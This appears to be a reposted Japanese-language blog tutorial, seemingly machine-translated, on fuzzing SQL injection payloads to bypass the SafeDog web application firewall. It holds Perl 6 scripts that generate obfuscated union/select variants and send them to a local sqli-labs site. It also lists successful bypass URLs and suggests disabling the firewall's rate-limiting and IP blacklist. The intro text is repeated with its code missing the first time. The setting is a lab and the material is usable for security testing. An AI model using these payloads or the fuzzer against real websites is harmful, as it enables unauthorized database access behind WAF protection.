Fuzz安全犬注入迂回
6222 ワード
転載先:http://www.cnblogs.com/perl6/p/7076524.html
安全犬バージョン:apache 4.0
ウェブサイトは:php+mysql
システム:win 2003
ここはfuzz/*!unionとselect*/の間の内容:
場所はたくさん選べます.
スクリプト言語は好きなものを使ってもいいです.perl 6を使っています.
一歩一歩進みましょう.
クコのexpは以下のコード(コードテスト用)を使います.
文字構築はどのように構築してもいいか、既存のファイルライブラリをダウンロードしたり、対応するスクリプト言語に対応するfuzzモジュールがあるかどうかを見たりします.
perl 6では、書き込みファイルにバッファがなく、openで直接開きます.a追加、ルール保存用、テストコードは以下の通りです.
perl 6では、HTTP::UserAgentモジュール、getの場合、特殊文字はuriの符号化に変換することを覚えています.getの場合はエラーが表示されます.トランスコード用URI::Encodeモジュールのuri_encodeメソッドを変換すればいいです.
次のセグメントは、テストコードです.
テストステーションはsqllibsを使用しています.
対応するキーワードを検索し、存在する場合はbypassを説明します.
最終的なfuzzバージョンは次のとおりです.
Fuzzからいくつかのルールは次のとおりです.
注意:
fuzzでは、fuzzが速すぎると犬がデフォルトでIPを禁止したり、サイトmysqlデータベースが停止したりすることがあります.
犬のCC防止機能/IPブラックリストを消すことができます.
fuzzの最後:
fuzzが終わったら、比較して、できるfuzzに特徴のある法則があるかどうかを見て、まとめてみましょう.
fuzz位置では、次のような異なる位置でテストできます.
安全犬バージョン:apache 4.0
ウェブサイトは:php+mysql
システム:win 2003
ここはfuzz/*!unionとselect*/の間の内容:
/*!unionselect*/
場所はたくさん選べます.
スクリプト言語は好きなものを使ってもいいです.perl 6を使っています.
一歩一歩進みましょう.
クコのexpは以下のコード(コードテスト用)を使います.
#!/bin/env perl6
my @fuzz_sp = '/*','*/','/*!','?','*','=','';
my @fuzz_nu = 0..9;
my @fuzz_ch = '%0a'..'%0z';
my @fuzz_all;
@fuzz_all.append(@fuzz_sp);
@fuzz_all.append(@fuzz_nu);
@fuzz_all.append(@fuzz_ch);
for @fuzz_all -> $exp {
say $exp;
}
say '-' x 30;
for @fuzz_all -> $a {
for @fuzz_all -> $b {
for @fuzz_all -> $c {
for @fuzz_all -> $d {
for @fuzz_all -> $e {
say '/*union'~$a~$b~$c~$d~$e~'select*/';
}
}
}
}
}
文字構築はどのように構築してもいいか、既存のファイルライブラリをダウンロードしたり、対応するスクリプト言語に対応するfuzzモジュールがあるかどうかを見たりします.
perl 6では、書き込みファイルにバッファがなく、openで直接開きます.a追加、ルール保存用、テストコードは以下の通りです.
#!/bin/env perl6
my $file = '/home/perl/Desktop/test.txt';
my $fp = open $file, :a;
my $a = 1;
my $b = 2;
$fp.say($a~$b);
#$fp.flush;
sleep(120);
perl 6では、HTTP::UserAgentモジュール、getの場合、特殊文字はuriの符号化に変換することを覚えています.getの場合はエラーが表示されます.トランスコード用URI::Encodeモジュールのuri_encodeメソッドを変換すればいいです.
次のセグメントは、テストコードです.
use HTTP::UserAgent;
use URI::Encode;
my $url = 'http://192.168.235.128/sqli-labs-master/Less-1/?id=-1\'';
my $payload = '/*!union/*!/*!select*/1,2,3-- -';
say uri_encode($url~$payload);
#
my $targeturl = uri_encode($url~$payload);
my $ua = HTTP::UserAgent.new;
my $result = $ua.get($targeturl);
say $result.content;
if $result.content ~~ /'Your Login name'/ {
say 'Bypass!'
}
テストステーションはsqllibsを使用しています.
対応するキーワードを検索し、存在する場合はbypassを説明します.
最終的なfuzzバージョンは次のとおりです.
use HTTP::UserAgent;
use URI::Encode;
my $url = 'http://192.168.235.128/sqli-labs-master/Less-1/?id=-1\'';
# ,
my $file = '/home/perl/Desktop/safedog_exp.txt';
my $fp = open $file, :a;
my $ua = HTTP::UserAgent.new;
my @fuzz_sp = '/*','*/','/*!','?','*','=','';
my @fuzz_nu = 0..9;
my @fuzz_ch = '%0a'..'%0z';
my @fuzz_all;
@fuzz_all.append(@fuzz_sp);
@fuzz_all.append(@fuzz_nu);
@fuzz_all.append(@fuzz_ch);
for @fuzz_all -> $a {
for @fuzz_all -> $b {
for @fuzz_all -> $c {
for @fuzz_all -> $d {
for @fuzz_all -> $e {
my $exp = '/*!union'~$a~$b~$c~$d~$e~'select*/1,2,3-- -';
my $targeturl = uri_encode($url~$exp);
say 'Check url:'~$targeturl;
#sleep(2);
my $result = $ua.get($targeturl);
if $result.content ~~ /'Your Login name'/ {
say "Bypass!\a\a\a\a\a\a\a ---> "~ $url~$exp;
$fp.say($url~$exp);
sleep(5);
}
}
}
}
}
}
Fuzzからいくつかのルールは次のとおりです.
http://192.168.235.128/sqli-labs-master/Less-1/?id=-1'/*!union/*/**//*!/*!select*/1,2,3-- -
http://192.168.235.128/sqli-labs-master/Less-1/?id=-1'/*!union/*/*?%0b*/select*/1,2,3-- -
http://192.168.235.128/sqli-labs-master/Less-1/?id=-1'/*!union/*/*?%0e*/select*/1,2,3-- -
http://192.168.235.128/sqli-labs-master/Less-1/?id=-1'/*!union/*/*?%0f*/select*/1,2,3-- -
http://192.168.235.128/sqli-labs-master/Less-1/?id=-1'/*!union/*/*?%0g*/select*/1,2,3-- -
http://192.168.235.128/sqli-labs-master/Less-1/?id=-1'/*!union/*/*?%0h*/select*/1,2,3-- -
http://192.168.235.128/sqli-labs-master/Less-1/?id=-1'/*!union/*/*?%0i*/select*/1,2,3-- -
http://192.168.235.128/sqli-labs-master/Less-1/?id=-1'/*!union/*/*?%0j*/select*/1,2,3-- -
http://192.168.235.128/sqli-labs-master/Less-1/?id=-1'/*!union/*/*?%0k*/select*/1,2,3-- -
http://192.168.235.128/sqli-labs-master/Less-1/?id=-1'/*!union/*/*?%0l*/select*/1,2,3-- -
http://192.168.235.128/sqli-labs-master/Less-1/?id=-1'/*!union/*/*?%0m*/select*/1,2,3-- -
http://192.168.235.128/sqli-labs-master/Less-1/?id=-1'/*!union/*/*?%0n*/select*/1,2,3-- -
http://192.168.235.128/sqli-labs-master/Less-1/?id=-1'/*!union/*/*?%0o*/select*/1,2,3-- -
http://192.168.235.128/sqli-labs-master/Less-1/?id=-1'/*!union/*/*?%0p*/select*/1,2,3-- -
注意:
fuzzでは、fuzzが速すぎると犬がデフォルトでIPを禁止したり、サイトmysqlデータベースが停止したりすることがあります.
犬のCC防止機能/IPブラックリストを消すことができます.
fuzzの最後:
fuzzが終わったら、比較して、できるfuzzに特徴のある法則があるかどうかを見て、まとめてみましょう.
fuzz位置では、次のような異なる位置でテストできます.
union/*select
unionselect
/*!36000uNION*/selecT
...